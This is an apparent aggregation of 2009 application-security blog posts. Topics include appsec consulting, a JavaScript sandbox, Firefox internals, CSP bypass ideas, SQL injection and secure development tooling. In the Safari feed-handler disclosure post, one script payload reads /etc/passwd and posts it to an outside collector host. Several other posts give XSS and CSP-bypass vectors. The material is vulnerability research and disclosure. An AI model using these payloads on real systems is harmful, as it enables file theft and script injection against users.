- you’re charged with developing a music playback solution that protects both the player and (maybe) the content (iTunes anyone?)
- you’re a defense contractor storing important military secrets electronically in the very hardware that you fly over enemy territory on purpose. what happens when a predator drone is shot down in Pakistan? what about an American spy plane forced to land in China?
- you’re a smart card vendor making chip cards for payment systems, and the cards will be distributed to good guys and criminals alike
- you’ve built a new game console and you want to protect it from some kinds of tampering
- you’re a programmer with a hot new algorithm that you don’t want your competitors to have
- you want to crash any debuggers that attach to your code and thwart easy disassembly
These and many other problems are directly addressed in Surreptitious Software. The book covers software obfuscation, watermarking, birthmarking, tamperproofing and other aspects of software protection. And it covers them in an exhaustive, scientific, technically-thorough way.

Software protection in many ways turns software security on its head. Imagine a discipline that can be used to cloak virus code, put bugs into code on purpose (which are tripped when the code is tampered with), scramble things up so badly that they are much harder to understand than normal, slow things down (in certain cases), create vast swaths of meaningless nonsense in the middle of real code, and so on. How on earth could any of that be a good thing?

Read this book and find out.

Michael Howard's Web Log

ATL, MS09-035 and the SDL

Posted: July 28th, 2009, 12:43pm CDT by michael_HOWARD

Tags: Security [edit]

[blogs.msdn.com]

tssci security

Appsec industry trends - looking forward

Posted: July 25th, 2009, 8:18pm CDT by dre

Tags: Security [edit]
Recently, it has come to my attention that industry people I respect (and vice versa) have desired me to re-post some comments I’ve made on other blogs.

It’s also high-time that we at TS-SCI/Security begin writing again. I can tell you that since March (our last post), Marcin and I have been involved heavily in our day-to-day work at client-sites and other community efforts/projects.

A lot of new research is going to begin to become available from BlackHat/Defcon. It’s just that time of year where everyone starts to share their work with others. While we can’t exactly reveal everything that we’re working on quite yet, be sure to check in for updates. I have been begging Marcin to post something on an HTTP-related argument we got into about the Post/Redirect/Get pattern, as one example.

Comment gone wrong #1

There was some interesting discussion lately on the OWASP News Podcast, in particular, Podcast 32. This is the first News Podcast that I missed (I was on a plane at the time we recorded), and having just listened to it — I certainly think it’s worth your time to listen to.

This particular News Podcast set off a blog post from Jeremiah Grossman where he says OWASP Podcast #32 pulls no punches. I attempted to comment, but the comment eventually disappeared — perhaps Jeremiah didn’t appreciate my insights. Others did, so here it is:

on the appsec market maturity and potentiality prediction — i rate [discount black-box appsec SaaS] as low-value, and in the future, will continue to be low-value.

selling discount app pen-tests hurts infosec management as a whole because you’re trying to tell ciso’s that they can buy some freedom for $25k/yr (or whatever it is). in reality, they need to spend millions of dollars over several years.

discount app pen-tests need to go out of style. here’s why: because the middle-ground and potential high-value comes from partnering with a trusted adviser (i.e. an appsec consulting company), or attempting to retain this talent in-house (which most companies — including Microsoft who built lists of individual talent to target — have pretty much failed).

every BPO (business process outsourcing) expert knows that the ideal is to avoid “discount” shops and focus on real partnerships, but don’t give any single one partnership everything.

for example, attempt to retain 20% of your appsec program internally ASAP (this does take time — don’t expect it to happen overnight), while outsourcing initially 20% to one minor company (e.g. Gotham Digital Science, Aspect Security, Denim Group, Matasano, Independent Security Evaluators), then adding a bigger company (e.g. Accenture/McAfee/Verisign) for another 20% to take over the smaller company’s 20% if [expectations are not met -- or major changes occur, such as buyouts]. The next step is to figure out a balance of adding more consulting companies somewhere in the 40-80% range, while growing your internal talent.

investing in this model is extremely expensive and extremely difficult to manage. ciso’s are having problems finding/retaining talent, drafting RFI’s, reading RFP’s, following up on references, and deciding who is really talented and how that talent applies to the applications in their appsec programs. most can’t or won’t even draft an appsec policy.

[low-bid/low-value app pen-test houses, especially SaaS-based ones] convolute and diminish the returns that are necessary to build or even start an efficient appsec program. that’s EXACTLY what Andrew van der Stock was trying to say.

if you want software security ROI, go read Sadbury, Soo Hoo, and Jacquith’s “Tangible ROI through secure software engineering” or follow any of the work that Steve McConnell has done, which this referenced paper was based on.

if you want to keep selling the idea that your McDonalds solution is the bread-and-butter of modern appsec innovation… best of luck to you. there’s plenty of analysts, whole appsec consulting businesses, bloggers, and podcasters that are all saying that a) you’re wrong, b) you sell a one-size-fits-all solution to companies that “don’t get it” which almost forces them to stay in the “don’t get it” mode near-permanently, and c) the jury is out and the case is closed: appsec consulting is the correct path and one-stop-shops that do one-off, cheap app pen-tests are so 2008.

Aftermath and reasoning

My comments were due in part to actual recent industry analyst research, so they were not unfounded or inappropriate. More to the point, they were factual and unbiased.

Chenxi Wang, Ph.D., Robert Whiteley, and Margaret Ryan of Forrester Research published a report entitled TechRadar For SRM Professionals: Application Security, Q3 2009 Application Security Comes Of Age Despite A Slowdown In Security Spend. The date on the report was July 18th, 2009.

In the report, several technologies were evaluated, including:
1. Application scanning
2. Application security consulting
3. Application security SaaS
4. Penetration testing
5. Protocol testing
6. Software protection
7. Source code analysis
8. Web application firewall
These topics and research are not new to our blog, where we have discussed many of them. Take these examples:

The Spanner

JSReg update

Posted: July 20th, 2009, 7:29am CDT by Gareth Heyes

Tags: Security [edit]
Big thanks!
I’ve done lots of updates to JSReg with some fantastic help from kangax, sirdarckcat, Thornmaker and mario.

Mario found some cool parsing bugs, sirdarckcat helped with some exploits that assigned to window and also provided some awesome code ideas and bugs. Thornmaker found ternarys cause problems with my object detection. I’d also like to thank Achim who helped me find a recursive regexp when he tested it on other browsers. Finally kangax’s input has been great providing me with some headaches trying to match RegExps that look like comments and many other parsing bugs. Thanks a lot guys! You’ve been awesome!

A lot has changed since my last post, it’s getting closer and closer to be used in real world applications and my new version of Hackvertor I didn’t expect to be able to parse as much code as it currently does and manage to keep the RegExps small. I try to match as little as possible as Javascript is a complex language.
How it works
In case you don’t know, JSReg is a Javascript sandbox with a difference. It uses Javascript itself to safely parse the code using regular expressions. This means that some features are removed from the Javascript language while in the sandbox, examples of these are access to the DOM like document.body etc. and Object methods like valueOf and toString. The goal is to produce safe Javascript from a untrusted source.

To see how it works check the following example:-
```
a='a';eval(u0061+'x6cx65x72x74x28u0034x32u0029');
```
The code assigns the letter “a” to a variable of “a”. Then the eval function is used with a unicode escape which translates to the variable “a” then it’s concatenated with various escapes to produce alert(42).

Here is the JSReg’d version:-
```
var $a$,$eval$;
$a$=globals.string('a');$eval$($a$+globals.string('x6cx65x72x74x28u0034x32u0029'));
```
So the rewriter identifies dangerous strings and converts them into safe strings. In this instance eval is renamed $eval$ which is a custom JSReg function that translates the content sent to it. All variables used are declared at the top which prevents them being assigned to the global window space. globals.string etc are a special JSReg object which defines a new prototyped version of String etc. to allow you to call whitelisted methods of the object.
Interface
That’s the basic idea of how JSReg works, the interface contains six textareas which shows the result of the JSReg evaluation. The first box is your code input, second is the JSReg conversion of your input, globals.eval contains the result of an eval operation and the code which has been rewritten, globals.function contains a similar output to eval but with Function code when calling new Function, the result returns the evaluated result after the code has been converted and the globals box at the bottom lists any global variables that might have escaped the sandbox.
Future and development
I always thought it was possible to use untrusted Javascript within Javascript itself, many other solutions had other languages as a requirement. I think JSReg is definitely getting there now after many of failed attempts. I plan to integrate sirdarckcat’s HTML parser too in future, to allow safe access to the DOM. Best of all I’m giving away this code, you can use it freely on your web site So please get involved! Find a exploit or a parsing error and help produce a native Javascript sandbox which is free for everybody to use.

Try out JSReg

Justice League

Moving Cybersecurity Past Cyberplatitudes

Posted: July 14th, 2009, 2:09pm CDT by gem

Tags: Software Security [edit]
John Pescatore from Gartner convened a virtual panel on the cybersecurity issue at the 2009 Gartner Information Security Summit. I provided a video for the panel answering two questions that John posed. The two questions get to the heart of the cybersecurity issue:

Question 1: What should the US government do to drive real improvements in the security level of internet use?

Question 2: What are things that you believe the US government should specifically not do in the name of increasing cybersecurity?

Click below to watch the video:

Press coverage:
- Gov’t Official: We’re Serious About Cybersecurity This Time
- Moving U.S. Cybersecurity Beyond Cyberplatitudes (InformIT)

The Spanner

Hidden Firefox properties revisited

Posted: July 14th, 2009, 4:28am CDT by Gareth Heyes

Tags: Security [edit]
This is the first time I’ve looked at the Firefox source, really! I wanted to find all the hidden properties Firefox has in Javascript. It was first pointed out to me by DoctorDan on the slackers forums when he found that the RegExp literal had a -1 value for the source in Firefox 2. I then made it my mission to find others because I thought it would be cool.

They seem to be flags within the source (Ronald mentioned this to me at some point too), I’m not sure how they are used internally or within Javascript. In the source code they are given the name tinyid so that’s what I’ll refer to them from now on.

Here’s how to use them:-
```
(function(){ alert(arguments[-3]) })()
```
Functions:-
CALL_ARGUMENTS = -1, predefined arguments local variable
ARGS_LENGTH = -2, number of actual args, arity if inactive
ARGS_CALLEE = -3, reference from arguments to active funobj
FUN_ARITY = -4, number of formal parameters; desired argc
FUN_NAME = -5, function name, “” if anonymous
FUN_CALLER = -6 Function.prototype.caller, backward compat

RegExp:-
REGEXP_STATIC_INPUT = -1,
REGEXP_STATIC_MULTILINE = -2,
REGEXP_STATIC_LAST_MATCH = -3,
REGEXP_STATIC_LAST_PAREN = -4,
REGEXP_STATIC_LEFT_CONTEXT = -5,
REGEXP_STATIC_RIGHT_CONTEXT = -6

REGEXP_SOURCE = -1,
REGEXP_GLOBAL = -2,
REGEXP_IGNORE_CASE = -3,
REGEXP_LAST_INDEX = -4,
REGEXP_MULTILINE = -5,
REGEXP_STICKY = -6;

E4X:-
NAMESPACE_PREFIX = -1,
NAMESPACE_URI = -2

QNAME:-
QNAME_URI = -1,
QNAME_LOCALNAME = -2

As I find more I’ll add them here, I know strings uses -1 for the length but I’ll wait till I find all of them for the string object.
New beta of JSReg

Posted: June 26th, 2009, 8:18am CDT by Gareth Heyes

Tags: Security [edit]
I’ve been slowly developing JSReg over the last few months and I’ve dropped lots of code and redone it many times. This latest version is a code rewriter and will sandbox most javascript properties and the goal is to produce a complete locked down version (which can be improved upon later).

So far it’s going well, I think the experience of hacking sandboxes and hacking my own code has resulted in a better version. I’d like to thank Sirdarckcat (Eduardo Vela) for testing and giving me some great suggestions.

There are a couple of bugs and limitations, at the moment arrays don’t work because of a bug in [] object syntax. I hope to fix this soon though. It also eats new lines when using functions or other stuff, you can get round this at the moment by using ; after the function declaration. The alert function is only supported at the minute but I plan to add more once the code is a bit more stable. Finally there is no DOS protection at the minute and you can probably throw objects in the global scope although you should be able to access other globals or modify them.

So can you break it? Execute code not intended like Function or maybe access global variables other than the $_ prefix and suffix allowed.

Here is a code sample that works fine:-
```
function x(){ var m=1; this.getM=function(){ return m; } }; y=new x; y.getM()
```
New JSReg!
CSP - Mozilla content security policy

Posted: June 23rd, 2009, 1:38pm CDT by Gareth Heyes

Tags: Security [edit]
This is my cup of tea, a whole new way to prevent XSS and related attacks. I’ve been looking at the specification and I like the core of the policy preventing external scripts, eval etc. But reading it I started to think of ways around it because it’s fun
Meta tag
The meta tag seems like a bad idea to me, if a site enforced the policy from a http header then a attacker controlled meta tag could merge policy data with an attacker’s evil policy.
Code will not be created from strings
I’m not sure what this is meant to prevent as the allowed section states it allows setTimeout, setInterval with functions as an argument. So you can do this:- setTimeout(function(){alert(1);//any code}); Or redefine existing functions, I’m not sure that preventing tainted javascript will work this way as there are many ways to obfuscate and execute code.
Abusing the whitelist
Finally my other idea was injecting javascript onto itself using a HTML page. This assumes the CSP policy allows scripts to be executed from it’s own domain. The attack also relies on the fact that you can control the output of the entire page or the output is in quirks mode with any E4X breaking code. So the vectors would work like so:-

The script is commented out when the HTML is executed because it references itself as javascript.
```
alert(1)//
```
Here the script injects itself and the resulting javascript ignores the script tag as inline e4x:-
```
alert(1);;
```
Demo’s of the vectors are available here:-
CSP1 without E4X
CSP2 with E4X
Update…
I’ve updated the vectors and made the e4x one more realistic. Here is a Firefox 3.5 version which gets round the “whole program” error by splitting the HTML and inserting a Javascript statement:-

CSP3 with e4x FF 3.5

Of course these attacks are theoretical because I’ve not actually had chance to test CSP, is there a beta? Anyway these vectors could easily be protected by enforcing script content to have the correct headers and not allow HTML data.
Minor Safari cross domain bug

Posted: June 19th, 2009, 4:42am CDT by Gareth Heyes

Tags: Security [edit]

I found this while writing Astalanumerator. Safari allows you to overwrite top and parent with native code and maybe other stuff (I haven’t tried). This allows you to define something on domain A and call it on domain B using the top and parent. I’d email Apple about it but the last time I reported XSS on the Apple store they ignored me.

You could use this in dom based XSS situations when you have control over a link. The attack would work like this:-

PHPIDS

But the remote site would include a iframe to the target page and refining parent/top as setTimeout or eval. You could also use “name” in this instance to provide a XSS payload.

Here is the POC for the cross domain in action, I use subdomains in this instance but any domain could be used:-

Safari poc

Justice League

50 Ways to Inject Your SQL

Posted: June 16th, 2009, 11:39am CDT by Guest

Tags: Software Security [edit]
This is a guest post by Cigital’s resident songwriter Paco Hope.

Sometimes we just let our hair down and have a good laugh over security stuff. I was telling my wife about some ridiculous code I had recently reviewed. While I didn’t go into details, she got the gist of it (she also gets “Little Bobby Tables,” too). I finished my story by offhandedly saying “there must be 50 ways to bypass their SQL protections.” She responded by singing “there must be 50 ways to inject your SQL” and that’s how the whole thing got started.

So what was it that was so ridiculous that it brought me to sing? Here’s the pseudocode of a routine called “ValidateQuery()”. Its role is to take user input from a .Net application and validate it to remove potential injection.
```
ValidateQuery():
WordArray = TokenizeString( ‘ ‘ ); /* split on space characters */
For each Word in WordArray
    if it is ‘delete’ then return
    if it is ‘purge’ then return
    if it is ‘drop’ then return
    if it is ‘truncate’ then return
End For
```
That’s it. If your string contained anything else (for example ‘update’), it would be fine. They did do a case-insensitive match, so ‘dElEtE’ would get caught, but that’s hardly praiseworthy. This was the sole protection against user input that was fed—good ole string-concatenation style—into SQL queries.

Note that this is NOT a web application, this was a Windows EXE written in C#.Net. For those of you who think SQL injection is a web only problem, think again. The other classic screw-up in this application was putting all the enforcement of roles and access controls in the client itself. While this may work when your business logic runs on an application server in a 3-tier architecture (that presumably cannot be controlled or modified by the end user), that approach doesn’t work when the business logic runs on the user’s PC. A quick SQL injection to change your roles in the database, and this thick client would start working for you just fine—as admin, or a higher privileged user.

The motherhood and apple pie lessons to take away?
- SQL Injection can happen, even in EXEs
- Don’t roll your own protection, use parameterized queries
- Don’t trust business logic that runs on a user’s PC
Musically, I’m pretty proud of the fact that I managed to use the words “unhandled exception” in a song. They fit the rime and meter perfectly. I’m trying to come up with a tune to parody for cross-site scripting. If you have ideas, I’m open. I think I’ll get someone else to sing next time. A kind of Gilbert & Sullivan arrangement where I’ll just be the librettist. :)

Billy (BK) Rios

Safari 3.2.2 Feed Protocol Handler Issues

Posted: June 9th, 2009, 2:37am CDT by xssniper

Tags: Security [edit]

A few weeks ago, Apple released a patch for their Safari browser. The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back. The advisory can be found here. This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year. The details of the original vulnerability can be found here. Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari’s feed handling. Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes. These RSS feeds contained information for each item on iTunes including ID, title, summary, and links to download the content. The RSS feed file looked something like this:

<?xml version=”1.0″ encoding=”utf-8″?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&id=287463411&s=143441</id>
<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel=”alternate” type=”text/html” href=”http://www.google.com” />
<im:contentType term=”TV Show” label=”TV Show”><im:contentType term=”TV Episode” label=”TV Episode”/></im:contentType>
<category term=”Sci Fi & Fantasy” scheme=”scheme”/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler. As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system. Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript. The specific issue here involves the attacker controlled content provided to the “Summary” tags within the RSS feed file. It seems that the content provided to the summary tag was missed by the encoding routines built into Safari. We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit – Battlestar Galactica ('04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed:// as:

…
<div class=”apple-rss-author” title=”iTunes Store”>iTunes Store</div>

<div class=”apple-rss-summary” >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class=”apple-rss-date” title=”Feb 16, 4:17 AM”>Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(‘GET’, ‘file:///etc/passwd’, true);
req.send(”);

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open(‘POST’, ‘http://xs-sniper.com/sniperscope/catcher.php’, true);
req2.setRequestHeader(‘Content-Type’,'application/x-www-form-urlencoded’);
req2.send(‘filename=etcpasswd&filecontents=’+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta. Both Windows and Mac systems were affected. Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box). On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll Happy hunting!

BK

The Spanner

Asta la vista baby

Posted: June 5th, 2009, 8:14am CDT by Gareth Heyes

Tags: Security [edit]

A quick update to Astalanumerator, it is now much better. No crashes and a completely new interface. I use a tree menu to traverse objects which can go on forever if you wish. It uses two display windows now, one displays the tree menu and the other displays extra details about the object when clicking.

In addition it checks for window leaks on the object clicked, I use a few methods for this but if anyone has any ideas for additional checks then please leave a comment. There is no property limits at all now because of the revised interface.

New astalanumerator

Disenchant's Blog

Firefox Security Tool Kit - FSTK v4.0

Posted: June 3rd, 2009, 8:36am CDT by Disenchant

Tags: Security [edit]

There’s a new version of the Firefox Security Tool Kit (FSTK) online
Download and/or Install the FSTK v4.0 now

You’ll find more information on the FSTK here but the Extensions have changed.

At this point I also wish to thank Kaspar Brand (the developer of Cert Viewer Plus) for letting me know, that there where some licensing problems.

Justice League

New Security Reads

Posted: June 2nd, 2009, 1:03pm CDT by gem

Tags: Software Security [edit]

IEEE S&P: Securing Online Games (vol.7, no.3)

IEEE Security & Privacy magazine remains the most important trade periodical on security published today. Though the content is on rare occasion esoteric, the magazine is always technically accurate and detailed. Only a peer reviewed publication can offer readers a look at computer security as a science. Think of it as applied academics.

I am pleased to announce that IEEE Security & Privacy magazine’s May/June 2009 edition was recently released. The issue (volume 7: number 3) covers Securing Online Games in a series of four peer reviewed articles that help define the state of the practice.

For more about the issue, see: [www.computer.org]

Also in the same issue is a print transcript of Silver Bullet 36. That’s the episode where James McGovern turned the tables and interviewed me. That transcript is on the web here.

Beautiful Security

Also of note is a book of thoughtful essays on security put together by John Viega (once a Cigitalite) and Andy Oram. Here’s my original blurb from the back cover:

“This collection of thoughtful essays catapults the reader well beyond deceptively shiny security FUD (the drum major of the bug parade) toward the more subtle beauty of building security in. Security is an essential emergent property for all modern systems—something that most people implicitly expect and few people explicitly receive. This book demonstrates the yin and the yang of security, and the fundamental creative tension between the spectacularly destructive and the brilliantly constructive. Read. Learn. Emulate.”

I’m still working my way a second time through the assembled essays from security stars including mudge, Betsy Nichols, Phil Zimmermann, Mark Curphy, and Jim Routh. This is a must read for 2009.

The Spanner

New PHPIDS vector

Posted: June 1st, 2009, 5:27am CDT by Gareth Heyes

Tags: Security [edit]
No new PHPIDS vectors for a while? So I thought I’d write a new one as I had 5 minutes spare while drinking my coffee. I used a new technique (as far as I’m aware) to make things easier A very old feature in IE is to allow events to be declared as vbscript using the language attribute. This has been used in some very old code but never in XSS, it’s definitely not on the cheatsheet.

Anyway here is the vector:-
```
<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>
```
POC

You have to rollover the bold “test” on the page to execute and allow scripted windows. The errors are related to the dom injections that are not valid because it’s a HTML injection. You could get round the scripted windows dialog by using other code but I only had 5 mins.

VBScript doesn’t require () to call functions and the plus converts 1 to a number (which it already is), this is used to bypass the need to use quotes within that particular attribute.

Note the XSS Filter in IE8 catches this vector.

Justice League

Security and ‘time’

Posted: May 20th, 2009, 3:13pm CDT by jOHN

Tags: Software Security [edit]
Ben Tomhave wrote a decent post musing “Which came first: The Software or The Security?”.

In particular, Ben asks whether the response an organization has to its security problems should possess a time component. “Yes”, he answers his own question emphatically. I agree, and for a few reasons worth expounding on.

…the only difference between today and yesterday
If you’re effective at assessment, you’ll often leave an organization’s apps in shambles. Somewhat older data I have indicate an expectation for 10 critical vulnerabilities / 100KLoC, with 30-40 high-risk vulnerabilities following suit(*1). Organizations holding their broken app at arms length panic. “We’ve got to pull it from production!”, they exclaim. Others take a different approach, “We’ll stop everything until those vulnerabilities are fixed–no more features.”

This behavior is irrational and needs to be quelled. The only difference between “today” and “yesterday” in this situation is that the organization knows how screwed they are (*2).

Ben indicates that visible risks should be prioritized based on a risk management framework. Ostensibly, we’re very much in agreement on that one. There may be vulnerabilities that deserve such “stop the press” kind of treatment, but there is often a normalization process that must occur before that set is culled from an assessment (*3).

After that triage, the rest (of the vulnerabilities), and I’ve said this before, should enter the change-management/bug-tracking process like everything else: features, customer complaints, and so forth. Dealing with security vulnerabilities in-band both sobers security analysts’ dreams of the all-important ’sploit and raises the respectability of security requirements within the normal development process by treating them as first-class citizens of a release process.

Depending on whether an organization has rapid-turn around (as happens when development engages in weekly sprints, organized through SCRUM) or more monolithic develop cycles, these change requests can be weighed from the perspective of whether or not they should be:
2. Released out-of-band as a patch
3. Included in the next planned release, potentially:
  - At the expense of other functions/features
  - At increased expense,
  or:
4. Deferred until a future release
Sometimes, the ‘correct’ answer is to conduct a usability study, or revisit the SLA promised by a system/service, and get feedback as to what form the fix will take before any of the above can happen.

In summary, time continues to elapse at a constant rate. In this case visibility is increasing. Visibility should allow for a better risk management decision, not a knee-jerk reaction.

Moreover, it’s important to discern the difference between 1) the organization’s increased visibility into vulnerabilities, not 2) an increased discoverability of the vulnerability itself. Yes, if the assessor used an automated pen-testing tool to find the vuln., it is probably pretty discoverable, but the organization’s knowledge of the vuln. does not increase it’s discoverability(*4).

Onto the next element of time…

0 to 60mph in?
Ben also rightly indicates (paraphrasing) knowing there’s a gap between you and the security posture you’d like to have, you’re not going to get there instantaneously. Very true. This, in my mind, is where organizations could improve the most. Most organizations I talk to have dashboards showing quantities like
- Percentage of applications in compliance with assessment policies;
- Number of outstanding critical + high vulnerabilities;
- Time to remediate critical + high vulnerabilities;
- <Metric du jour>
However, when asked-from the simplest risk perspective-”Are you any less vulnerable to phishing this year?”, or, “Can you provide a greater assurance case around the [confidentiality] of [this key asset]?”, the answer is <blink> <blink>. Yes, there are some exceptions to this.
I’d like to see organizations begin managing to security goals like:

…Next year, we expect no application providing access to [asset X] to be vulnerable to discoverable by an external Threat, be he/she authorized or not, accessing our systems only through the web;

…in three years, we expect no vulnerability that would provide access to [asset X] with any Internet-facing software, regardless of immediate discoverability or exploitability (by an external threat);

…in that same three-year time frame, we also expect no Internet-facing apps. to fall prey to [common web attacks, listed in the SANS Top 25(*5) (aka: CSRF et. al.)] that would result in impersonation and therefore allow for inappropriate access to [asset X] on behalf of an unwitting user.

I’m attempting to extend Ben’s call for a time-based (I’ll call it iterative) approach to responding to security gaps. The previous paragraph proxies for what a more advanced risk management framework would incorporate in the form of probability (discoverability x exploitability x [other factors]). Remember, however, that the [asset X] clauses of these statements proxy for different but important factors in your risk model: intrinsic value of the information asset.

So, whether you’re using a formal risk management framework, or doing it more informally, you can respond iteratively and get time back on your side: having a story about how you’re measurably reducing organizational risk in a meaningful fashion.

Compare this with the alternatives:
2. A straight linear approach – fixing 80% of XSS bugs within an application has what effect on the overall security posture?
3. The bug-of-the-month approach – ‘fixing’ 100% of the CSRF problems within an app, but leaving all the XSS has what effect on the overall security posture?
4. Stopping the presses – fixing 100% of the bugs, and not allowing business functionality to evolve in the balance does what to your business opportunity/revenue stream?
And I think you’ll be satisfied with the trade-off (through formal risk modeling or informally).
Finally,

Within a single vulnerability’s remediation, I’ve got trade offs
Yes, within the scope of a single killer finding, organizations have to decide how to trade off the time it takes to field a mitigation and the effectiveness of that mitigation on the security posture (queue the “dynamic patching” vs. “fix it in the code and re-deploy” flame).

This, just like our previous two topics, is a matter of risk management. I implore organizations to consider what the capabilities and motivations of their opponent are in this case. If you’re considering protecting against a web-vulnerability delivered through a URL parameter, a WAF rule will prevent a vulnerability scan from finding the ‘fixed’ problem but is unlikely to thwart a skilled penetration tester from manipulating the order of the innocuous and malicious parameters. WAF rules, then, are likely to provide a rapid response to failed scans and simpleton attackers but not concerted attacks of this sort. This same sort of analysis can be done on code-based fixes. When assessments find input validation problems, the development team will often respond by doing a simple (arbitrary) length check, or by black-listing particular SQL characters.

When I was quoted in a Darkreading article as saying costs to fix were [so low], it was these spot-fixes to which I referred. These fixes don’t (often) fully remediate that particular vulnerability (even in that narrow locale) let alone improve the application’s overall security posture. But, I’d say they’re the most common response to an assessment finding. Like McGraw says regarding the BSIMM data, “we observed monkeys eat bananas; is that good? I don’t know.”

Having considered an attacker’s capabilities and motivation, and the value of what you’re protecting… an organization might in fact choose to engage in such cat-and-mouse play as the trivial fixes above imply, engineer a real fix, employ some combination of both, or off-load risk in an entirely different way.

Just like before, however, it’s unlikely the vulnerability was created yesterday, so the software has been vulnerable for some time. When risk analysis has occurred, and the full cost of a complete solution is resolved, complete with its own residual risk calculation, it’s very likely that a practical organization will tier its response, iterating in time.

Thanks for the post, Ben.
-jOHN

(*1) – Within a Java EE app found through tool-assisted code review with no preference for having been reviewed prior or not (be it prior code review or penetration test). Critical and High in these cases varied somewhat, but always having been seen by the client as exploitable and accepted for remediation by development.

(*2) – This is somewhat glib. More accurately, the organization has increased its visibility into what vulnerabilities its software possesses. It can not say these are the only vulnerabilities the software possesses, and, using purely code review, it can not always say with 100% confidence that detected vulnerabilities are exploitable; some statically determined findings are obviously exploitable whereas others will require dynamic verification.

(*3) – This normalization is even more important if the assessment was delivered by a 3rd party tool or assessor conducting their first run/engagement with an organization. Internal assessment teams often have it easier; they should know/conform to the business unit’s risk management measurement memes.

(*4) – Unless they have a really terrible vulnerability management process or a shady security vendor ;-)

(*5) – Indeed, I have suggested use of a Top N list. Here, I’m using it to indicate a priority implicit in industry opinion. Better to augment that clause with [the most common types of attacks observed in our production environment and the #1 emerging attack our security research team advises us on].

Michael Howard's Web Log

Integrating the SDL process into Visual Studio

Posted: May 19th, 2009, 11:53am CDT by michael_HOWARD

Tags: SDL Tools Security [edit]

I’ve been a firm believer of integrating as much security tooling as possible into the development process so developers can get on with developing code and designing solutions rather than having to constantly think about dotting the security “i”s and crossing the security “t”s.

The less security “friction” the better, because the more you can automate the more progress you can make.

Jeremy Dallman has just announced that we have released the Microsoft SDL Process Template for Visual Studio Team System, and yes, it’s free.

I think this is a huge step forward because now software development teams outside of Microsoft can more easily track their adherence to the SDL.
Technorati Tags: SDL,Tools

Justice League

Twitter Security

Posted: May 18th, 2009, 12:06pm CDT by gem

Tags: Software Security [edit]

I just published a little ditty on Twitter security that is bound to get some interesting feedback. My bet is that much of the feedback is less than 140 characters long!

My friend Joe Faber (of Spaghettios fame) sent me this Youtube video, which I think sums up Twitter nicely:

Your longer feedback is welcome below!

The Spanner

Astalanumerator baby

Posted: May 18th, 2009, 7:44am CDT by Gareth Heyes

Tags: Security [edit]

I wanted to map all properties in javascript and inspect them regardless if they were objects or not. IE doesn’t support for(i in..) for native properties like constructor etc. So I decided to write a cross platform enumerator that could map everything. I decided to call it “Astalanumerator” as a silly reference to terminator combined with enumerator.

It works using a list of js properties stored within an array, you pass an object to it and it checks each of the properties using the array and attempts to navigate through it. Originally I had it enumerating until it reached null but this caused every browser to lock up as some objects went on forever, so I put some limits in place.

I use timeouts to prevent browser lockups and I use list elements to indent each of the objects, this is nice because I can delay the result and continue the loop while the object has finished enumerating. The third parameter of the inspect function handles this by storing the target element so each of the objects can be linked together.
Limits
The limits in place help stop browser crashes here is how they work:-
1. Number of properties to enum:
This is the limit of valid properties of the object, it will only evaluate 10 per object by default.
2. Number of inner properties to enum:
The inner properties limit is the amount of child properties to enumerate.
3. Only enum objects?:
This option allows you to enum all properties even numbers, by default it is restricted to objects only.

Astalanumerator demo
Hackvertor obfuscated code tutorial

Posted: May 14th, 2009, 3:37pm CDT by Gareth Heyes

Tags: Security [edit]

I thought I’d post a quick tutorial on how Hackvertor can be used to decode obfuscated javascript. This is based on a real request on sla.ckers. I’ll walk you through the code and tidy it up and show you how to use the advanced tags to easily decode the encoded string.
Warning disclaimer
Do not try and execute the javascript provided, only use it within the Hackvertor input window. I have not executed or tested what the code does I have only decoded. Use this tutorial at your own risk.
Decoding
I’ve tidied up the code if you would like to see how it’s encoded.

The code is quite simple, a large string is used as the payload which I’ve renamed “payload”. “r28″ does nothing it is a empty string, I guess it’s there to make decoding more difficult. It doesn’t.

The payload is then looped through until the end of the string and two characters are extracted in each loop. These two characters are passed to a “fromHex” function which I’ve helpfully renamed and the parseInt function is used to transform the characters from hex into decimal numbers.

Then the result is stored in the “decoded” string which again I’ve renamed, before finally passing the decoded string to the document.write call which sends the result to be outputted to the page.
Light work for Hackvertor
Pretty easy so far eh? The code isn’t heavily obfuscated and is pretty easy to understand. I’ve talked about making it more difficult but no matter how difficult it is the encoding will eventually lose the race.

To decode it with Hackvertor we need to first remove any unneeded strings like the “r28″ variable which actually contains nothing. We can do this with the replace tag in Hackvertor, look in the HVURL at the bottom and you’ll see the first replace tag. Remember Hackvertor works from the inner part outwards.

